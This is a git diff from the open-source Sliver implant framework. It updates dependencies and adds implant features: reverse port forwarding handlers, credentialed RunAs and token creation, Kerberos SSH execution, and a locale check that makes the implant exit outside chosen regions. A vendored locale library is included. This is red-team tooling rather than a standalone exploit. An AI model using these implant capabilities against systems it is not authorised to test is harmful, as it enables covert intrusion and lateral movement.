-	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
-	github.com/jedib0t/go-pretty/v6 v6.2.4
+	github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
+	github.com/jedib0t/go-pretty/v6 v6.4.0
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/lesnuages/snitch v0.6.0
-	github.com/mattn/go-sqlite3 v1.14.15
+	github.com/mattn/go-sqlite3 v1.14.16
 	github.com/miekg/dns v1.1.50
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
 	github.com/pquerna/otp v1.3.0
-	github.com/shirou/gopsutil/v3 v3.21.10
-	github.com/sirupsen/logrus v1.8.1
-	github.com/spf13/cobra v1.1.1
-	github.com/stretchr/testify v1.8.0
+	github.com/shirou/gopsutil/v3 v3.22.9
+	github.com/sirupsen/logrus v1.9.0
+	github.com/spf13/cobra v1.6.1
+	github.com/stretchr/testify v1.8.1
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
 	golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
+	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
+	golang.org/x/sys v0.0.0-20220928140112-f11e5e49a4ec
 	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
-	golang.org/x/text v0.3.7
+	golang.org/x/text v0.4.0
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
 	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
-	google.golang.org/protobuf v1.27.1
+	google.golang.org/protobuf v1.28.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
-	gorm.io/driver/mysql v1.3.6
-	gorm.io/driver/postgres v1.3.9
-	gorm.io/driver/sqlite v1.3.6
-	gorm.io/gorm v1.23.8
-	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
-	modernc.org/sqlite v1.16.0
+	gorm.io/driver/mysql v1.4.3
+	gorm.io/driver/postgres v1.4.5
+	gorm.io/driver/sqlite v1.4.3
+	gorm.io/gorm v1.24.1-0.20221019064659-5dd2bb482755
+	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
+	modernc.org/sqlite v1.19.3
 )

 require (
 	github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
 	github.com/Microsoft/go-winio v0.5.1 // indirect
-	github.com/StackExchange/wmi v1.2.1 // indirect
 	github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
 	github.com/VividCortex/ewma v1.1.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
@@ -80,7 +80,8 @@ require (
 	github.com/google/btree v1.0.1 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
-	github.com/inconshreveable/mousetrap v1.0.0 // indirect
+	github.com/hashicorp/go-uuid v1.0.2 // indirect
+	github.com/inconshreveable/mousetrap v1.0.1 // indirect
 	github.com/jackc/chunkreader/v2 v2.0.1 // indirect
 	github.com/jackc/pgconn v1.13.0 // indirect
 	github.com/jackc/pgio v1.0.0 // indirect
@@ -89,6 +90,7 @@ require (
 	github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
 	github.com/jackc/pgtype v1.12.0 // indirect
 	github.com/jackc/pgx/v4 v4.17.2 // indirect
+	github.com/jcmturner/gofork v1.0.0 // indirect
 	github.com/jinzhu/inflection v1.0.0 // indirect
 	github.com/jinzhu/now v1.1.5 // indirect
 	github.com/josharian/intern v1.0.0 // indirect
@@ -97,30 +99,37 @@ require (
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mailru/easyjson v0.7.7 // indirect
 	github.com/mattn/go-colorable v0.1.9 // indirect
-	github.com/mattn/go-isatty v0.0.14 // indirect
-	github.com/mattn/go-runewidth v0.0.9 // indirect
+	github.com/mattn/go-isatty v0.0.16 // indirect
+	github.com/mattn/go-runewidth v0.0.13 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
+	github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
+	github.com/rivo/uniseg v0.2.0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.5.1 // indirect
+	github.com/xlab/treeprint v1.1.0 // indirect
+	github.com/yusufpapurcu/wmi v1.2.2 // indirect
+	golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.9 // indirect
-	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.org/x/tools v0.1.12 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
 	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
-	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
 	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
+	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
+	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
 	gopkg.in/yaml.v3 v3.0.1 // indirect
-	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.24 // indirect
-	modernc.org/ccgo/v3 v3.15.18 // indirect
-	modernc.org/libc v1.14.12 // indirect
-	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.7 // indirect
-	modernc.org/opt v0.1.1 // indirect
-	modernc.org/strutil v1.1.1 // indirect
-	modernc.org/token v1.0.0 // indirect
+	lukechampine.com/uint128 v1.2.0 // indirect
+	modernc.org/cc/v3 v3.40.0 // indirect
+	modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 // indirect
+	modernc.org/libc v1.21.2 // indirect
+	modernc.org/mathutil v1.5.0 // indirect
+	modernc.org/memory v1.4.0 // indirect
+	modernc.org/opt v0.1.3 // indirect
+	modernc.org/strutil v1.1.3 // indirect
+	modernc.org/token v1.0.1 // indirect
 )
@@ -1,6 +1,6 @@
 module github.com/bishopfox/sliver

-go 1.17
+go 1.18

 require (
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
@@ -10,34 +10,48 @@ require (
 	github.com/lesnuages/go-winio v0.4.19
 	github.com/miekg/dns v1.1.50
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
+	github.com/onsi/ginkgo v1.16.5
+	github.com/onsi/gomega v1.20.2
 	github.com/pquerna/otp v1.3.0
 	github.com/stretchr/testify v1.7.0
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+	github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
 	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
-	golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
+	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
+	golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
-	google.golang.org/protobuf v1.26.0
-	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	google.golang.org/protobuf v1.28.0
+	gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
 )

 require (
 	github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
 	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-	github.com/Microsoft/go-winio v0.5.0 // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
 	github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
 	github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
 	github.com/davecgh/go-spew v1.1.1 // indirect
+	github.com/fsnotify/fsnotify v1.4.9 // indirect
 	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
 	github.com/google/btree v1.0.1 // indirect
+	github.com/google/go-cmp v0.5.8 // indirect
+	github.com/hashicorp/go-uuid v1.0.2 // indirect
+	github.com/jcmturner/gofork v1.0.0 // indirect
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+	github.com/nxadm/tail v1.4.8 // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
-	golang.org/x/mod v0.4.2 // indirect
+	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/text v0.3.7 // indirect
 	golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
-	golang.org/x/tools v0.1.7 // indirect
+	golang.org/x/tools v0.1.9 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
 	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
-	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
+	gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+	gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
+	gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
+	gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
+	gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
+	gopkg.in/yaml.v3 v3.0.1 // indirect
 )
@@ -1,7 +1,17 @@
-#!/bin/sh
+#!/bin/bash

 set -e

+cleanup() {
+  [ ! -z "$1" ] && echo "Error $1 occurred on $2"
+
+  mv "${tempDir}/vendor" "${pwd}/../vendor"
+  mv "${tempDir}/go.mod" "${pwd}/../go-mod"
+  mv "${tempDir}/go.sum" "${pwd}/../go-sum"
+  cd ..
+  rm -rf "$tempDir"
+}
+
 # we are expecting from run from sliver/implant via 'go generate'
 cd scripts

@@ -12,6 +22,10 @@ cp ../go-mod "${tempDir}/go.mod"
 cp ../go-sum "${tempDir}/go.sum"
 mv ../vendor "${tempDir}/vendor"

+
+# Trap when a build fails so we can reset the environment
+trap 'cleanup $? $LINENO' ERR
+
 # build Go file with all imported packages
 go run update-vendor.go "$tempDir"
 cd "$tempDir"
@@ -20,8 +34,4 @@ go mod tidy -compat=1.17
 go mod vendor

 # move updated files back
-mv "${tempDir}/vendor" "${pwd}/../vendor"
-mv "${tempDir}/go.mod" "${pwd}/../go-mod"
-mv "${tempDir}/go.sum" "${pwd}/../go-sum"
-cd ..
-rm -rf "$tempDir"
+cleanup
@@ -182,6 +182,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
 	return ciphertext, nil
 }

+// GetExactOTPCode - Get the OTP code for a specific timestamp
+func GetExactOTPCode(timestamp time.Time) string {
+	code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
+	// {{if .Config.Debug}}
+	log.Printf("TOTP Code (%s): %s", timestamp, code)
+	// {{end}}
+	return code
+}
+
 // GetOTPCode - Get the current OTP code
 func GetOTPCode() string {
 	now := time.Now().UTC()
@@ -0,0 +1,42 @@
+package cryptography
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"os"
+)
+
+var (
+	// TLSKeyLogger - File descriptor for logging TLS keys
+	TLSKeyLogger = newKeyLogger()
+)
+
+func newKeyLogger() *os.File {
+	// {{if .Config.Debug}}
+	keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
+	if present {
+		keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
+		if err != nil {
+			return nil
+		}
+		return keyFile
+	}
+	// {{end}}
+	return nil
+}
@@ -58,6 +58,9 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
 // PivotHandler - Handler related to pivoting
 type PivotHandler func(*sliverpb.Envelope, *transports.Connection)

+// RportFwdHandler - Handler related to reverse port forwarding
+type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
+
 // -----------------------------------------------------
 // -----------------------------------------------------
 // -----------------------------------------------------
@@ -372,6 +375,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
 		to download a single file
 	*/
 	fileInfo, err := os.Stat(path + filter)
+	if err != nil {
+		return nil, false, 0, 1, err
+	}
 	if err == nil && !fileInfo.IsDir() {
 		// Then this is a single file
 		rawData, err := os.ReadFile(path + filter)
@@ -152,10 +152,12 @@ func runAsHandler(data []byte, resp RPCResponse) {
 		// {{end}}
 		return
 	}
-	out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
-	runAs := &sliverpb.RunAs{
-		Output: out,
+	show := 10
+	if runAsReq.HideWindow {
+		show = 0
 	}
+	err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
+	runAs := &sliverpb.RunAs{}
 	if err != nil {
 		runAs.Response = &commonpb.Response{Err: err.Error()}
 	}
@@ -424,7 +426,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
 		return
 	}
 	makeTokenResp := &sliverpb.MakeToken{}
-	err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
+	err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
 	if err != nil {
 		makeTokenResp.Response = &commonpb.Response{
 			Err: err.Error(),
@@ -315,7 +315,11 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
 		commandReq.Username,
 		commandReq.Password,
 		commandReq.PrivKey,
-		commandReq.Command)
+		commandReq.Krb5Conf,
+		commandReq.Keytab,
+		commandReq.Realm,
+		commandReq.Command,
+	)
 	commandResp := &sliverpb.SSHCommand{
 		Response: &commonpb.Response{},
 		StdOut:   stdout,
@@ -0,0 +1,159 @@
+package handlers
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	// {{if .Config.Debug}}
+
+	"log"
+
+	// {{end}}
+	"time"
+
+	rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
+	"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+var (
+	genericRportFwdHandlers = map[uint32]RportFwdHandler{
+		pb.MsgRportFwdListenersReq:     rportFwdListenersHandler,
+		pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
+		pb.MsgRportFwdStopListenerReq:  rportFwdStopListenerHandler,
+	}
+)
+
+// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
+func GetRportFwdHandlers() map[uint32]RportFwdHandler {
+	return genericRportFwdHandlers
+}
+
+func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
+
+	forwards := rportfwd.Portfwds.List()
+	var portfwdListeners []*pb.RportFwdListener
+
+	for _, portfwd := range forwards {
+
+		portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
+			ID:             uint32(portfwd.ID),
+			BindAddress:    portfwd.BindAddr,
+			ForwardAddress: portfwd.RemoteAddr,
+		})
+	}
+	data, _ := proto.Marshal(&pb.RportFwdListeners{
+		Listeners: portfwdListeners,
+		Response:  &commonpb.Response{},
+	})
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+
+}
+func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
+	req := &pb.RportFwdStartListenerReq{}
+	resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
+	err := proto.Unmarshal(envelope.Data, req)
+	if err != nil {
+		resp.Response.Err = err.Error()
+		data, _ := proto.Marshal(resp)
+		connection.Send <- &pb.Envelope{
+			ID:   envelope.ID,
+			Data: data,
+		}
+		return
+	}
+	rportfwds := rportfwd.Portfwds.List()
+
+	for _, r := range rportfwds {
+		if r.BindAddr == req.BindAddress {
+			resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
+			data, _ := proto.Marshal(resp)
+			connection.Send <- &pb.Envelope{
+				ID:   envelope.ID,
+				Data: data,
+			}
+			return
+		}
+	}
+	tcpProxy := &tcpproxy.Proxy{}
+	channelProxy := &rportfwd.ChannelProxy{
+		Conn:            connection,
+		RemoteAddr:      req.ForwardAddress,
+		BindAddr:        req.BindAddress,
+		KeepAlivePeriod: 1000 * time.Second,
+		DialTimeout:     30 * time.Second,
+	}
+	tcpProxy.AddRoute(req.BindAddress, channelProxy)
+	rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
+
+	go func() {
+		err := tcpProxy.Run()
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Proxy error %s", err)
+			// {{end}}
+		}
+	}()
+	resp.BindAddress = req.BindAddress
+	resp.ForwardAddress = req.ForwardAddress
+	resp.BindPort = req.ForwardPort
+	resp.ForwardPort = req.ForwardPort
+	resp.ID = uint32(rportfwd.ID)
+
+	data, _ := proto.Marshal(resp)
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+}
+
+func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
+	req := &pb.RportFwdStopListenerReq{}
+	resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
+	err := proto.Unmarshal(envelope.Data, req)
+	if err != nil {
+		resp.Response.Err = err.Error()
+		data, _ := proto.Marshal(resp)
+		connection.Send <- &pb.Envelope{
+			ID:   envelope.ID,
+			Data: data,
+		}
+		return
+	}
+
+	rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
+	if rportfwd != nil {
+		resp.ID = uint32(rportfwd.ID)
+		resp.BindAddress = rportfwd.ChannelProxy.BindAddr
+		resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
+	} else {
+		resp.Response.Err = "Invalid ID\n"
+	}
+
+	data, _ := proto.Marshal(resp)
+	connection.Send <- &pb.Envelope{
+		ID:   envelope.ID,
+		Data: data,
+	}
+}
@@ -30,7 +30,10 @@ import (

 	// {{if .Config.LimitUsername}}
 	"os/user"
+	// {{end}}

+	// {{if .Config.LimitLocale}}
+	"regexp"
 	// {{end}}

 	// {{if .Config.LimitDatetime}}
@@ -40,6 +43,10 @@ import (
 	// {{if or .Config.LimitHostname .Config.LimitUsername}}
 	"strings"
 	// {{else}}{{end}}
+
+	// {{if .Config.LimitLocale}}
+	"github.com/bishopfox/sliver/implant/sliver/locale"
+	// {{end}}
 )

 // ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -104,6 +111,21 @@ func ExecLimits() {
 	}
 	// {{end}}

+	// {{if .Config.LimitLocale}}
+	locale := locale.GetLocale()
+	match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
+	if !match {
+		// {{if .Config.Debug}}
+		if err != nil {
+			log.Printf("LimitLocale regexp: %s", err)
+		} else {
+			log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
+		}
+		// {{end}}
+		os.Exit(1)
+	} 
+	// {{end}}
+
 	// {{if .Config.Debug}}
 	log.Printf("Limit checks completed")
 	// {{end}}
@@ -0,0 +1,201 @@
+                              Apache License
+                        Version 2.0, January 2004
+                     http://www.apache.org/licenses/
+
+TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+1. Definitions.
+
+   "License" shall mean the terms and conditions for use, reproduction,
+   and distribution as defined by Sections 1 through 9 of this document.
+
+   "Licensor" shall mean the copyright owner or entity authorized by
+   the copyright owner that is granting the License.
+
+   "Legal Entity" shall mean the union of the acting entity and all
+   other entities that control, are controlled by, or are under common
+   control with that entity. For the purposes of this definition,
+   "control" means (i) the power, direct or indirect, to cause the
+   direction or management of such entity, whether by contract or
+   otherwise, or (ii) ownership of fifty percent (50%) or more of the
+   outstanding shares, or (iii) beneficial ownership of such entity.
+
+   "You" (or "Your") shall mean an individual or Legal Entity
+   exercising permissions granted by this License.
+
+   "Source" form shall mean the preferred form for making modifications,
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+
+   To apply the Apache License to your work, attach the following
+   boilerplate notice, with the fields enclosed by brackets "[]"
+   replaced with your own identifying information. (Don't include
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+   file or class name and description of purpose be included on the
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+
+Copyright 2014 Pivotal
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
@@ -0,0 +1,95 @@
+# Jibber Jabber [![Build Status](https://travis-ci.org/cubiest/jibberjabber.svg?branch=master)](https://travis-ci.org/cubiest/jibberjabber)
+
+Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
+
+
+## OS Support
+
+UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**  
+via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.  
+These variables are used in ALL versions of UNIX for language detection.
+
+**Windows**  
+via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
+
+
+
+## DetectIETF
+
+`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
+
+**Example:**
+```golang
+	userLocale, err := jibberjabber.DetectIETF()
+	println("Locale:", userLocale)
+```
+
+
+## DetectLanguage
+`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
+
+also import the following packages for parsing the returned locale
+```golang
+	"golang.org/x/text/language"
+	"golang.org/x/text/language/display"
+
+```
+
+
+**Example:**
+```golang
+	userLanguage, err := jibberjabber.DetectLanguage()
+	println("Language:", userLanguage)
+	languageTag, parseErr := language.Parse(userLanguage)
+	println("Language:", display.Self.Name(languageTag))
+	
+```
+
+
+## DetectLanguageTag
+
+`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
+
+**Example:**
+```golang
+	languageTag, parseErr := jibberjabber.DetectLanguageTag()
+	println("Language:", display.Self.Name(languageTag))
+	
+```
+
+
+## DetectTerritory
+
+`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
+
+**Example:**
+```golang
+	localeTerritory, err := jibberjabber.DetectTerritory()
+	println("Territory:", localeTerritory)
+```
+
+
+## About Errors in Detect
+
+All the Detect commands will return an error if they are unable to read the Locale from the system.
+
+For Windows, additional error information is provided due to the nature of the system call being used.
+
+
+## Helper Singleton
+
+There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
+
+**Example:**
+```golang
+	langServer := jibberjabber.LanguageServer()
+	langServer.SetSupportedLanguages(map[language.Tag]string{
+		language.German:  "active.de.toml",
+		language.English: "active.en.toml",
+	}
+	langServer.SetFallbackLanguage(language.English)
+	langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
+	if err != nil {
+		log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
+	}
+```
@@ -0,0 +1,44 @@
+package jibberjabber
+
+import (
+	"errors"
+//	"fmt"
+//	"sort"
+	"strings"
+//	"sync"
+
+//	"golang.org/x/text/language"
+//	"golang.org/x/text/language/display"
+)
+
+var (
+	ErrLangDetectFail          = errors.New("could not detect Language")
+	ErrLangFallbackUndefined   = errors.New("no fallback language defined")
+	ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
+	ErrLangUnsupported         = errors.New("language not supported")
+	ErrLangParse               = errors.New("language identifier cannot be parsed")
+)
+
+func splitLocale(locale string) (string, string) {
+	formattedLocale := strings.Split(locale, ".")[0]
+	formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
+
+	pieces := strings.Split(formattedLocale, "_")
+	language := pieces[0]
+	territory := ""
+	if len(pieces) > 1 {
+		territory = strings.Split(formattedLocale, "_")[1]
+	}
+	return language, territory
+}
+
+/**
+ * languageServer
+ */
+
+
+// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
+// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
+func IsError(err error, jjError error) bool {
+	return strings.HasPrefix(err.Error(), jjError.Error())
+}
@@ -0,0 +1,44 @@
+// +build darwin freebsd linux netbsd openbsd
+
+package jibberjabber
+
+import (
+	"os"
+	"strings"
+)
+
+func getLangFromEnv() string {
+	for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
+		locale := os.Getenv(env)
+		if len(locale) > 0 {
+			return locale
+		}
+	}
+	return ""
+}
+
+func getUnixLocale() (string, error) {
+	locale := getLangFromEnv()
+	if len(locale) <= 0 {
+		return "", ErrLangDetectFail
+	}
+	return locale, nil
+}
+
+// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
+// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
+// e.g. `en-GB`.
+func DetectIETF() (string, error) {
+	locale, err := getUnixLocale()
+	if err != nil {
+		return "", err
+	}
+
+	language, territory := splitLocale(locale)
+	locale = language
+	if len(territory) > 0 {
+		locale = strings.Join([]string{language, territory}, "-")
+	}
+
+	return locale, nil
+}
@@ -0,0 +1,47 @@
+// +build windows
+
+package jibberjabber
+
+import (
+	"errors"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+// TODO: read LOCALE_NAME_MAX_LENGTH from Windows, instead of hard-coding '85'
+const LOCALE_NAME_MAX_LENGTH uint32 = 85
+
+func getWindowsLocaleFrom(sysCall string) (string, error) {
+	buffer := make([]uint16, LOCALE_NAME_MAX_LENGTH)
+
+	dll, err := windows.LoadDLL("kernel32")
+	if err != nil {
+		return "", errors.New("could not find kernel32 dll: " + err.Error())
+	}
+
+	proc, err := dll.FindProc(sysCall)
+	if err != nil {
+		return "", err
+	}
+
+	r, _, dllError := proc.Call(uintptr(unsafe.Pointer(&buffer[0])), uintptr(LOCALE_NAME_MAX_LENGTH))
+	if r == 0 {
+		return "", errors.New(ErrLangDetectFail.Error() + ": " + dllError.Error())
+	}
+
+	return windows.UTF16ToString(buffer), nil
+}
+
+func getWindowsLocale() (string, error) {
+	locale, err := getWindowsLocaleFrom("GetUserDefaultLocaleName")
+	if err != nil {
+		locale, err = getWindowsLocaleFrom("GetSystemDefaultLocaleName")
+	}
+	return locale, err
+}
+
+// DetectIETF detects and returns the IETF language tag of Windows.
+func DetectIETF() (string, error) {
+	return getWindowsLocale()
+}
@@ -0,0 +1,35 @@
+//go:build darwin || linux || windows
+
+package locale
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
